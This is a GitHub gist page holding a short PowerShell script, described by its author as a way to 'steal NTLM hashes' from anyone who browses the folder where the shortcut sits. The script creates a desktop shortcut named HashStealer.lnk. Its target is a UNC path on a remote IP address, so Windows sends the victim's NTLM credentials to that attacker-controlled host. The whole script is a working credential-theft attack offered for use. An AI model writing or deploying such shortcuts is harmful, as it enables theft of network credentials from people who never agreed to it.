Skip to content

Instantly share code, notes, and snippets.

@caueb
Created September 21, 2023 08:13
Show Gist options
  • Save caueb/0442d9c04369459d3a6d0e167ee0a843 to your computer and use it in GitHub Desktop.
Save caueb/0442d9c04369459d3a6d0e167ee0a843 to your computer and use it in GitHub Desktop.
Create a shortcut to steal NTLM hashes. Target just need to browse the folder where the shortcut is located.
$shell = New-Object -ComObject WScript.Shell
$shortcut = $shell.CreateShortcut("$env:USERPROFILE\\Desktop\\HashStealer.lnk")
$shortcut.TargetPath = '\\\\192.168.150.134\\tools\\app.ico'
$shortcut.Save()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment